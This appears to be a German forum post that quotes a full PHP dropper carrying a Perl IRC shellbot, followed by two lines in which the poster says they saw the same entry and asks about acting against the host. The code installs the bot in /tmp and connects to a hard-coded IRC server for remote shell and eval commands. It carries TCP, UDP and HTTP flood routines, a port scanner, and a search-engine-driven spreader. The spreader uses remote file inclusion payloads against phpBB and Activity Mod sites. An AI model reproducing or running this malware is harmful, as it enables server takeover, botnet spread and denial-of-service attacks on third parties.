Code: Alles auswählen
<?
// THIS IS PRIVATE SHIT BY ALEKS
// b0tn3t3@hotmail.com
[...]
$check1="al";
$check2="ek";
$check3="s";
$bot="#!/usr/bin/perl
#Shellbot searching by Lycos ;p <<== fuck google :) BY ALEKS
#VERY FAST SPREADING!!!! NO JOKING
#\$runones = `ps x | grep /usr/local/firewall`;
#if (\$runones =~ /firewall/)
#{
#unlink \$0;
#exit(0);
#}
my \$processo = '/usr/local/firewall';
my \$linas_max='5';
my \$sleep='5';
my @adms=(\"Yes\",\"Aleks\");
my @hostauth=(\"phpbb.gov\");
my @canais=(\"#aleks\");
my \$pwned=\"/tmp/aleks_tssshrsss\";
chop (my \$nick = `whoami`);
chop (my \$ircname = `whoami`);
chop (my \$realname = `uname -sr`);
\$servidor='220.228.241.57' unless \$servidor;
my \$porta='8080';
\$SIG{'INT'} = 'IGNORE';
\$SIG{'HUP'} = 'IGNORE';
\$SIG{'TERM'} = 'IGNORE';
\$SIG{'CHLD'} = 'IGNORE';
\$SIG{'PS'} = 'IGNORE';
unlink \$0;
if ((-e \$pwned)) {
exit(0);
}else{
open(FILE,\">\$pwned\") || die \$!;
print FILE \"Aleks g0t pwned u! just wanna say fuck 0X1FE\\r\\n\";
close (FILE);
#Don't fix bug
#fix();
}
use IO::Socket;
use IO::Handle;
use Socket;
use IO::Select;
chdir(\"/\");
\$0=\"\$processo\".\"\\0\"x16;
my \$pid=fork;
exit if \$pid;
die \"Error Not work: \$!\" unless defined(\$pid);
our %irc_servers;
\$sel_cliente = IO::Select->new();
sub sendraw {
if (\$#_ == '1') {
my \$socket = \$_[0];
print \$socket \"\$_[1]\\n\";
} else {
print \$IRC_cur_socket \"\$_[0]\\n\";
}
}
sub conectar {
my \$meunick = \$_[0];
my \$servidor_con = \$_[1];
my \$porta_con = \$_[2];
my \$IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"\$servidor_con\", PeerPort=>\$porta_con) or return(1);
if (defined(\$IRC_socket)) {
\$IRC_cur_socket = \$IRC_socket;
\$IRC_socket->autoflush(1);
\$sel_cliente->add(\$IRC_socket);
\$irc_servers{\$IRC_cur_socket}{'host'} = \"\$servidor_con\";
\$irc_servers{\$IRC_cur_socket}{'porta'} = \"\$porta_con\";
\$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
\$irc_servers{\$IRC_cur_socket}{'meuip'} = \$IRC_socket->sockhost;
nick(\"\$meunick\");
sendraw(\"USER \$ircname \".\$IRC_socket->sockhost.\" \$servidor_con :\$realname\");
sleep 1;
}
}
my \$line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar(\"\$nick\", \"\$servidor\", \"\$porta\"); }
delete(\$irc_servers{''}) if (defined(\$irc_servers{''}));
my @ready = \$sel_cliente->can_read(0);
next unless(@ready);
foreach \$fh (@ready) {
\$IRC_cur_socket = \$fh;
\$meunick = \$irc_servers{\$IRC_cur_socket}{'nick'};
\$nread = sysread(\$fh, \$msg, 4096);
if (\$nread == 0) {
\$sel_cliente->remove(\$fh);
\$fh->close;
delete(\$irc_servers{\$fh});
}
@lines = split (/\\n/, \$msg);
for(my \$c=0; \$c<= \$#lines; \$c++) {
\$line = \$lines[\$c];
\$line=\$line_temp.\$line if (\$line_temp);
\$line_temp='';
\$line =~ s/\\r\$//;
unless (\$c == \$#lines) {
parse(\"\$line\");
} else {
if (\$#lines == 0) {
parse(\"\$line\");
} elsif (\$lines[\$c] =~ /\\r\$/) {
parse(\"\$line\");
} elsif (\$line =~ /^(\\S+) NOTICE AUTH :\\*\\*\\*/) {
parse(\"\$line\");
} else {
\$line_temp = \$line;
}
}
}
}
}
sub parse {
my \$servarg = shift;
if (\$servarg =~ /^PING \\:(.*)/) {
sendraw(\"PONG :\$1\");
} elsif (\$servarg =~ /^\\:(.+?)\\!(.+?)\\@(.+?) PRIVMSG (.+?) \\:(.+)/) {
my \$pn=\$1; my \$hostmask= \$3; my \$onde = \$4; my \$args = \$5;
if (\$args =~ /^\\001VERSION\\001\$/) {
notice(\"\$pn\", \"\\001VERSION mIRC v6.16 Khaled Mardam-Bey\\001\");
}
if (grep {\$_ =~ /^\\Q\$hostmask\\E\$/i } @hostauth) {
if (grep {\$_ =~ /^\\Q\$pn\\E\$/i } @adms) {
if (\$onde eq \"\$meunick\"){
shell(\"\$pn\", \"\$args\");
}
if (\$args =~ /^(\\Q\$meunick\\E|\\!say)\\s+(.*)/ ) {
my \$natrix = \$1;
my \$arg = \$2;
if (\$arg =~ /^\\!(.*)/) {
ircase(\"\$pn\",\"\$onde\",\"\$1\") unless (\$natrix eq \"!bot\" and \$arg =~ /^\\!nick/);
} elsif (\$arg =~ /^\\@(.*)/) {
\$ondep = \$onde;
\$ondep = \$pn if \$onde eq \$meunick;
bfunc(\"\$ondep\",\"\$1\");
} else {
shell(\"\$onde\", \"\$arg\");
}
}
}
}
} elsif (\$servarg =~ /^\\:(.+?)\\!(.+?)\\@(.+?)\\s+NICK\\s+\\:(\\S+)/i) {
if (lc(\$1) eq lc(\$meunick)) {
\$meunick=\$4;
\$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
}
} elsif (\$servarg =~ m/^\\:(.+?)\\s+433/i) {
nick(\"[\$meunick]-\".int rand(999999));
} elsif (\$servarg =~ m/^\\:(.+?)\\s+001\\s+(\\S+)\\s/i) {
\$meunick = \$2;
\$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
\$irc_servers{\$IRC_cur_socket}{'nome'} = \"\$1\";
foreach my \$canal (@canais) {
sendraw(\"JOIN \$canal owned\");
}
}
}
sub bfunc {
my \$printl = \$_[0];
my \$funcarg = \$_[1];
if (my \$pid = fork) {
waitpid(\$pid, 0);
} else {
if (fork) {
exit;
} else {
if (\$funcarg =~ /^portscan (.*)/) {
my \$hostip=\"\$1\";
my @portas=(\"21\",\"23\",\"25\",\"80\",\"113\",\"135\",\"445\",\"1025\",\"5000\",\"6660\",\"6661\",\"6662\",\"6663\",\"6665\",\"6666\",\"6667\",\"6668\",\"6669\",\"7000\",\"8080\");
my (@aberta, %porta_banner);
#sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[SCAN]\\002 Scanning \".\$1.\" for open ports.\");
foreach my \$porta (@portas) {
my \$scansock = IO::Socket::INET->new(PeerAddr => \$hostip, PeerPort => \$porta, Proto => 'tcp', Timeout => 4);
if (\$scansock) {
push (@aberta, \$porta);
\$scansock->close;
}
}
if (@aberta) {
#sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[SCAN]\\002 Open port(s): @aberta\");
} else {
#sendraw(\$IRC_cur_socket,\"PRIVMSG \$printl :\\002[SCAN]\\002 No open ports found\");
}
}
if (\$funcarg =~ /^tcpflood\\s+(.*)\\s+(\\d+)\\s+(\\d+)/) {
#sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[TCP-DDOS]\\002 Attacking \".\$1.\":\".\$2.\" for \".\$3.\" seconds.\");
my \$itime = time;
my (\$cur_time);
\$cur_time = time - \$itime;
while (\$3>\$cur_time){
\$cur_time = time - \$itime;
&tcpflooder(\"\$1\",\"\$2\",\"\$3\");
}
#sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[TCP-DDOS]\\002 Finished with attacking \".\$1.\":\".\$2.\".\");
}
if (\$funcarg =~ /^lycos\\s+(\\d+)\\s+(.*)/) {
#sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[LYCOS-SEARCH]\\002 Scanning for unpatched phpBB for \".\$1.\" seconds.\");
srand;
my \$itime = time;
my (\$cur_time);
my (\$exploited);
\$boturl=\$2;
\$cur_time = time - \$itime;
\$exploited = 0;
while(\$1>\$cur_time){
\$cur_time = time - \$itime;
@urls=fetch1();
foreach \$url (@urls) {
\$cur_time = time - \$itime;
if (\$url !~ /viewtopic.php/) {next;\$cur_time = time - \$itime;}
\$url =~ s/(.*\\/viewtopic.php\\?[t|p]=[0-9]+).*/\$1/;
\$host[0] = \$url;
if(\$host[0] =~ /\\//){
(\$host[1],\$host[2])=split(/\\//,\$host[0]);
}
#sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[EXPLOITING]\\002 \".\$host[1].\".\");
\$url .=\"&highlight=%2527.\\\$poster=include(\\\$_GET[m]).%2527&m=http://\".\$boturl.\"?&\";
\$page = http_query(\$url);
if ( \$page =~ /aleks/ ){
\$page = http_query(\$url);
\$exploited = \$exploited + 1;
#sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[0WN3D]\\002 \" .\$url. \".\");
}
}
}
#sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[LYCOS-SEARCH]\\002 Exploited \".\$exploited.\" boxes in \".\$1.\" seconds.\");
}
if (\$funcarg =~ /^google2\\s+(\\d+)\\s+(.*)/) {
#sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[GOOGLE]\\002 Scanning for unpatched mambo for \".\$1.\" seconds.\");
srand;
my \$itime = time;
my (\$cur_time);
my (\$exploited);
\$boturl=\$2;
\$cur_time = time - \$itime;
\$exploited = 0;
while(\$1>\$cur_time){
\$cur_time = time - \$itime;
@urls=fetch3();
foreach \$url (@urls) {
\$cur_time = time - \$itime;
my \$path = \"\";
my \$file = \"\";
(\$path, \$file) = \$url =~ /^(.+)\\/(.+)\$/;
\$url =\$path.\"/language/lang_english/lang_activity.php?phpbb_root_path=http://\".\$boturl.\"?&\";
#sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[GOOGLE]\\002 Exploiting \".\$url);
\$page = http_query(\$url);
if ( \$page =~ /aleks/ ){
\$exploited = \$exploited + 1;
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[0WN3D]\\002 \" .\$url. \".\");
}
}
}
#sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[GOOGLE]\\002 Exploited \".\$exploited.\" boxes in \".\$1.\" seconds.\");
}
if (\$funcarg =~ /^google\\s+(\\d+)\\s+(.*)\\s+(.*)/) {
#sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[GOOGLE-SEARCH]\\002 Scanning for unpatched phpBB for \".\$1.\" seconds.\");
srand;
my \$itime = time;
my (\$cur_time);
my (\$exploited);
\$boturl=\$2;
\$cur_time = time - \$itime;
\$exploited = 0;
while(\$1>\$cur_time){
\$cur_time = time - \$itime;
@urls=fetch2(\"\$3\");
foreach \$url (@urls) {
\$cur_time = time - \$itime;
if (\$url !~ /viewtopic.php/) {next;\$cur_time = time - \$itime;}
\$url =~ s/(.*\\/viewtopic.php\\?[t|p]=[0-9]+).*/\$1/;
\$host[0] = \$url;
if(\$host[0] =~ /\\//){
(\$host[1],\$host[2])=split(/\\//,\$host[0]);
}
#sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[EXPLOITING]\\002 \".\$host[1].\".\");
\$url .=\"&highlight=%2527.\\\$poster=include(\\\$_GET[m]).%2527&m=http://\".\$boturl.\"?&\";
\$page = http_query(\$url);
if ( \$page =~ /aleks/ ){
\$page = http_query(\$url);
\$exploited = \$exploited + 1;
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[0WN3D]\\002 \" .\$url. \".\");
}
}
}
#sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[GOOGLE-SEARCH]\\002 Exploited \".\$exploited.\" boxes in \".\$1.\" seconds.\");
}
if (\$funcarg =~ /^httpflood\\s+(.*)\\s+(\\d+)/) {
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[HTTP-DDOS]\\002 Attacking \".\$1.\":80 for \".\$2.\" seconds.\");
my \$itime = time;
my (\$cur_time);
\$cur_time = time - \$itime;
while (\$2>\$cur_time){
\$cur_time = time - \$itime;
my \$socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>\$1, PeerPort=>80);
print \$socket \"GET / HTTP/1.1\\r\\nAccept: */*\\r\\nHost: \".\$1.\"\\r\\nConnection: Keep-Alive\\r\\n\\r\\n\";
close(\$socket);
}
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[HTTP-DDOS]\\002 Finished with attacking \".\$1.\".\");
}
if (\$funcarg =~ /^udpflood\\s+(.*)\\s+(\\d+)\\s+(\\d+)/) {
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[UDP-DDOS]\\002 Attacking \".\$1.\" with \".\$2.\" Kb packets for \".\$3.\" seconds.\");
my (\$dtime, %pacotes) = udpflooder(\"\$1\", \"\$2\", \"\$3\");
\$dtime = 1 if \$dtime == 0;
my %bytes;
\$bytes{igmp} = \$2 * \$pacotes{igmp};
\$bytes{icmp} = \$2 * \$pacotes{icmp};
\$bytes{o} = \$2 * \$pacotes{o};
\$bytes{udp} = \$2 * \$pacotes{udp};
\$bytes{tcp} = \$2 * \$pacotes{tcp};
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[UDP-DDOS]\\002 Sended \".int((\$bytes{icmp}+\$bytes{igmp}+\$bytes{udp} + \$bytes{o})/1024).\" Kb total in \".\$dtime.\" seconds to \".\$1.\".\");
}
exit;
}
}
}
sub ircase {
my (\$kem, \$printl, \$case) = @_;
if (\$case =~ /^join (.*)/) {
j(\"\$1\");
}
if (\$case =~ /^part (.*)/) {
p(\"\$1\");
}
if (\$case =~ /^rejoin\\s+(.*)/) {
my \$chan = \$1;
if (\$chan =~ /^(\\d+) (.*)/) {
for (my \$ca = 1; \$ca <= \$1; \$ca++ ) {
p(\"\$2\");
j(\"\$2\");
}
} else {
p(\"\$chan\");
j(\"\$chan\");
}
}
if (\$case =~ /^op/) {
op(\"\$printl\", \"\$kem\") if \$case eq \"op\";
my \$oarg = substr(\$case, 3);
op(\"\$1\", \"\$2\") if (\$oarg =~ /(\\S+)\\s+(\\S+)/);
}
if (\$case =~ /^deop/) {
deop(\"\$printl\", \"\$kem\") if \$case eq \"deop\";
my \$oarg = substr(\$case, 5);
deop(\"\$1\", \"\$2\") if (\$oarg =~ /(\\S+)\\s+(\\S+)/);
}
if (\$case =~ /^msg\\s+(\\S+) (.*)/) {
msg(\"\$1\", \"\$2\");
}
if (\$case =~ /^flood\\s+(\\d+)\\s+(\\S+) (.*)/) {
for (my \$cf = 1; \$cf <= \$1; \$cf++) {
msg(\"\$2\", \"\$3\");
}
}
if (\$case =~ /^ctcp\\s+(\\S+) (.*)/) {
ctcp(\"\$1\", \"\$2\");
}
if (\$case =~ /^ctcpflood\\s+(\\d+)\\s+(\\S+) (.*)/) {
for (my \$cf = 1; \$cf <= \$1; \$cf++) {
ctcp(\"\$2\", \"\$3\");
}
}
if (\$case =~ /^nick (.*)/) {
nick(\"\$1\");
}
if (\$case =~ /^connect\\s+(\\S+)\\s+(\\S+)/) {
conectar(\"\$2\", \"\$1\", 6667);
}
if (\$case =~ /^raw (.*)/) {
sendraw(\"\$1\");
}
if (\$case =~ /^eval (.*)/) {
eval \"\$1\";
}
}
sub shell {
my \$printl=\$_[0];
my \$comando=\$_[1];
if (\$comando =~ /cd (.*)/) {
chdir(\"\$1\") || msg(\"\$printl\", \"No such file or directory\");
return;
}
elsif (\$pid = fork) {
waitpid(\$pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`\$comando 2>&1 3>&1`;
my \$c=0;
foreach my \$linha (@resp) {
\$c++;
chop \$linha;
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\$linha\");
if (\$c == \"\$linas_max\") {
\$c=0;
sleep \$sleep;
}
}
exit;
}
}
}
sub tcpflooder {
my \$itime = time;
my (\$cur_time);
my (\$ia,\$pa,\$proto,\$j,\$l,\$t);
\$ia=inet_aton(\$_[0]);
\$pa=sockaddr_in(\$_[1],\$ia);
\$ftime=\$_[2];
\$proto=getprotobyname('tcp');
\$j=0;\$l=0;
\$cur_time = time - \$itime;
while (\$l<1000){
\$cur_time = time - \$itime;
last if \$cur_time >= \$ftime;
\$t=\"SOCK\$l\";
socket(\$t,PF_INET,SOCK_STREAM,\$proto);
connect(\$t,\$pa)||\$j--;
\$j++;\$l++;
}
\$l=0;
while (\$l<1000){
\$cur_time = time - \$itime;
last if \$cur_time >= \$ftime;
\$t=\"SOCK\$l\";
shutdown(\$t,2);
\$l++;
}
}
sub udpflooder {
my \$iaddr = inet_aton(\$_[0]);
my \$msg = 'A' x \$_[1];
my \$ftime = \$_[2];
my \$cp = 0;
my (%pacotes);
\$pacotes{icmp} = \$pacotes{igmp} = \$pacotes{udp} = \$pacotes{o} = \$pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or \$cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or \$cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or \$cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or \$cp++;
return(undef) if \$cp == 4;
my \$itime = time;
my (\$cur_time);
while ( 1 ) {
for (my \$porta = 1; \$porta <= 65000; \$porta++) {
\$cur_time = time - \$itime;
last if \$cur_time >= \$ftime;
send(SOCK1, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{igmp}++;
send(SOCK2, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{udp}++;
send(SOCK3, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{icmp}++;
send(SOCK4, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{tcp}++;
for (my \$pc = 3; \$pc <= 255;\$pc++) {
next if \$pc == 6;
\$cur_time = time - \$itime;
last if \$cur_time >= \$ftime;
socket(SOCK5, PF_INET, SOCK_RAW, \$pc) or next;
send(SOCK5, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{o}++;
}
}
last if \$cur_time >= \$ftime;
}
return(\$cur_time, %pacotes);
}
sub ctcp {
return unless \$#_ == 1;
sendraw(\"PRIVMSG \$_[0] :\\001\$_[1]\\001\");
}
sub msg {
return unless \$#_ == 1;
sendraw(\"PRIVMSG \$_[0] :\$_[1]\");
}
sub notice {
return unless \$#_ == 1;
sendraw(\"NOTICE \$_[0] :\$_[1]\");
}
sub op {
return unless \$#_ == 1;
sendraw(\"MODE \$_[0] +o \$_[1]\");
}
sub deop {
return unless \$#_ == 1;
sendraw(\"MODE \$_[0] -o \$_[1]\");
}
sub j { &join(@_); }
sub join {
return unless \$#_ == 0;
sendraw(\"JOIN \$_[0]\");
}
sub p { part(@_); }
sub part {
sendraw(\"PART \$_[0]\");
}
sub nick {
return unless \$#_ == 0;
sendraw(\"NICK \$_[0]\");
}
sub quit {
sendraw(\"QUIT :\$_[0]\");
}
#Spreader
sub fetch1(){
my \$rnd=(int(rand(20)));
my @str=(\"viewtopic.php%3Ftopic%3D\",
\"viewtopic.php++%22Powered+By+phpBB+2.0.1%22\",
\"viewtopic.php++%22Powered+By+phpBB+2.0.2%22\",
\"viewtopic.php%3Ft%3D\",
\"viewtopic.php++%22Powered+By+phpBB+2.0.4%22\",
\"viewtopic.php++%22Powered+By+phpBB+2.0.5%22\",
\"viewtopic.php++%22Powered+By+phpBB+2.0.6%22\",
\"viewtopic.php++%22Powered+By+phpBB+2.0.7%22\",
\"viewtopic.php++%22Powered+By+phpBB+2.0.8%22\",
\"viewtopic.php++%22Powered+By+phpBB+2.0.9%22\",
\"viewtopic.php++%22Powered+By+phpBB+2.0.10%22\",
\"viewtopic.php++%22Powered+By+phpBB%22+\");
my \$query=\"zoek.lycos.nl/cgi-bin/pursuit?pag=\$rnd&query=\";
\$query.=\$str[(rand(scalar(@str)))];
\$query.=\"+-modules&cat=web&idx=all&nlang=any&family=off\";
\$query.=\"&n_domain=phpbb.com&na=1&SITE=nl&enc=utf-8&xargs=\";
\$query.=\"maxhits=30&nightsurf=no\";
my @lst=();
my \$page = http_query(\$query);
while (\$page =~ m/class=\"result\" href=\\\"?http:\\/\\/([^>\\\"]+)\\\"?>/g){
if (\$1 !~ m/lycos/){
push (@lst,\$1);
}
}
return (@lst);
}
sub fetch2(){
my \$rnd=(int(rand(9999)));
my \$n= 50;
my \$str=\$_[0];
if (\$rnd<5000) { \$n<<=1;}
my \$s= (int(rand(10)) * \$n);
my \$query=\"www.google.nl/search?q=\";
\$query.=\$str.\$rnd;
\$query.=\"&num=\$n&hl=en&lr=&start=\$s&sa=N\";
my @lst=();
my \$page = http_query(\$query);
while (\$page =~ m/<a class=l href=\\\"?http:\\/\\/([^>\\\"]+)\\\"?>/g){
if (\$1 !~ m/google|cache|translate/){
push (@lst,\$1);
}
}
return (@lst);
}
sub fetch3(){
my \$rnd=(int(rand(9999)));
my \$n= 50;
if (\$rnd<5000) { \$n<<=1;}
my \$s= (int(rand(10)) * \$n);
my @str=(\"inurl:%22activity.php%22\",
\"%22%C2%A9+Activity+Mod+Plus%22\");
my \$query=\"www.google.nl/search?q=\";
\$query.=\$str[(rand(scalar(@str)))];
\$query.=\"&num=\$n&hl=en&lr=&start=\$s&sa=N\";
my @lst=();
my \$page = http_query(\$query);
while (\$page =~ m/<a class=l href=\\\"?http:\\/\\/([^>\\\"]+)\\\"?>/g){
if (\$1 !~ m/google|cache|translate/){
push (@lst,\$1);
}
}
return (@lst);
}
sub http_query(\$){
my (\$url) = @_;
my \$host=\$url;
my \$query=\$url;
my \$page=\"\";
\$host =~ s/href=\\\"?http:\\/\\///;
\$host =~ s/([-a-zA-Z0-9\\.]+)\\/.*/\$1/;
\$query =~s/\$host//;
if (\$query eq \"\") {\$query=\"/\";};
eval {
local \$SIG{ALRM} = sub { die \"1\";};
alarm 10;
my \$sock = IO::Socket::INET->new(PeerAddr=>\"\$host\",PeerPort=>\"80\",Proto=>\"tcp\") or return;
print \$sock \"GET \$query HTTP/1.0\\r\\nReferer: http://www.google.nl/\\r\\nHost: \$host\\r\\nAccept: */*\\r\\nUser-Agent: Mozilla/4.0 (modded by Aleks 2006)\\r\\nCookie: lyc_search_pref=a%3A3%3A%7Bs%3A9%3A%22lang_pref%22%3Bs%3A3%3A%22any%22%3Bs%3A6%3A%22family%22%3Bs%3A5%3A%22false%22%3Bs%3A7%3A%22maxhits%22%3Bs%3A2%3A%2230%22%3B%7D\\r\\n\\r\\n\";
my @r = <\$sock>;
\$page=\"@r\";
alarm 0;
close(\$sock);
};
return \$page;
}
sub fix(){
my @in=`find / -name \"viewtopic.php\" 2>/dev/null`;
foreach my \$f (@in){
chop \$f;
my \$newvt=\"\";
if (open FIX,\"<\$f\") {
while (<FIX>){
\$newvt.=\$_;
}
close FIX;
\$newvt =~ s/urldecode//;
if (open FIX,\">\$f\"){
print FIX \$newvt;
close FIX;
}
}
}
}";
$fp = fopen("/tmp/thread_aleks", "w");
fwrite($fp, $bot);
fclose($fp);
if(file_exists("/tmp/thread_aleks")) {
passthru("cd /tmp;perl thread_aleks>/dev/null;echo ".$check1.$check2.$check3." pwned!;rm -rf thread_aleks*");
shell_exec("cd /tmp;perl thread_aleks>/dev/null;echo ".$check1.$check2.$check3." pwned!;rm -rf thread_aleks*");
system("cd /tmp;perl thread_aleks>/dev/null;echo ".$check1.$check2.$check3." pwned!;rm -rf thread_aleks*");
exec("cd /tmp;perl thread_aleks>/dev/null;echo ".$check1.$check2.$check3." pwned!;rm -rf thread_aleks*");
//Aleks OWNZ YOU
}
?>
Den gleichen Eintrag hatte ich auch vo kurzem...
Könnte man nicht gegen die hoster was machen?.. die URL hat man ja...